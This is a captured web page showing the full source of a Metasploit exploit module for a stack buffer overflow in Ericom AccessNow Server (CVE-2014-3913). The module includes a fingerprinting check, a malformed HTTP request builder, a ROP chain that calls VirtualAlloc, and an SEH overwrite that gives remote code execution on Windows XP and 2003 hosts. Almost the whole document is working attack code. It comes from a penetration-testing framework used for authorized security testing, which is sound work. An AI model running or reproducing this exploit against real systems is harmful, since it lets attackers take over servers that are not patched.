Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/ericom_access_now_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Ericom AccessNow Server Buffer Overflow',13'Description' => %q{14This module exploits a stack based buffer overflow in Ericom AccessNow Server. The15vulnerability is due to an insecure usage of vsprintf with user controlled data,16which can be triggered with a malformed HTTP request. This module has been tested17successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 200318Server SP2.19},20'Author' =>21[22'Unknown', # Vulnerability Discovery23'juan vazquez', # Metasploit Module24],25'References' =>26[27['ZDI', '14-160'],28['CVE', '2014-3913'],29['BID', '67777'],30['URL','http://www.ericom.com/security-ERM-2014-610.asp']31],32'Privileged' => true,33'Platform' => 'win',34'Arch' => ARCH_X86,35'Payload' =>36{37'Space' => 4096,38'BadChars' => "\x00\x0d\x0a",39'DisableNops' => true,40'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -350041},42'Targets' =>43[44[ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',45{46'RopOffset' => 62,47'Offset' => 30668,48'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll49}50]51],52'DisclosureDate' => '2014-06-02',53'DefaultTarget' => 0))5455register_options([Opt::RPORT(8080)])56end575859def check60res = send_request_cgi({61'uri' => '/AccessNow/start.html'62})6364unless res && res.code == 200 && res.headers['Server']65return Exploit::CheckCode::Safe66end6768if res.headers['Server'] =~ /Ericom AccessNow Server/69return Exploit::CheckCode::Appears # Ericom AccessNow 2.470elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/71return Exploit::CheckCode::Detected # Ericom AccessNow 372end7374Exploit::CheckCode::Unknown75end7677def exploit_uri78uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message79uri << rand_text(target['RopOffset'])80uri << create_rop_chain81uri << payload.encoded82uri << rand_text(target['Offset'] - uri.length)83uri << rand_text(4) # nseh84uri << [target.ret].pack("V") # seh8586uri87end8889def exploit90print_status("Sending malformed request...")91send_request_raw({92'method' => 'GET',93'uri' => exploit_uri,94'encode' => false95}, 1)96end9798def create_rop_chain99# rop chain generated with mona.py - www.corelan.be100rop_gadgets =101[1020x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP31030x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP31040x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll]1050x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll]1060x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll]1070x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll]1080x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll]1090x103eed74, # & jmp esp [AccessNowAccelerator32.dll]1100x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll]1110xffffffff, # Value to negate, will become 0x000000011120x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll]1130x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll]1140x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll]1150xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx)1160x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll]1170x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll]1180x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll]1190xffffffc0, # Value to negate, will become 0x000000401200x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll]1210x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll]1220x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll]1230x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll]1240x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll]1250x90909090, # nop1260x1052cfce # PUSHAD # RETN [AccessNowAccelerator32.dll]127].pack("V*")128129rop_gadgets130end131end132133134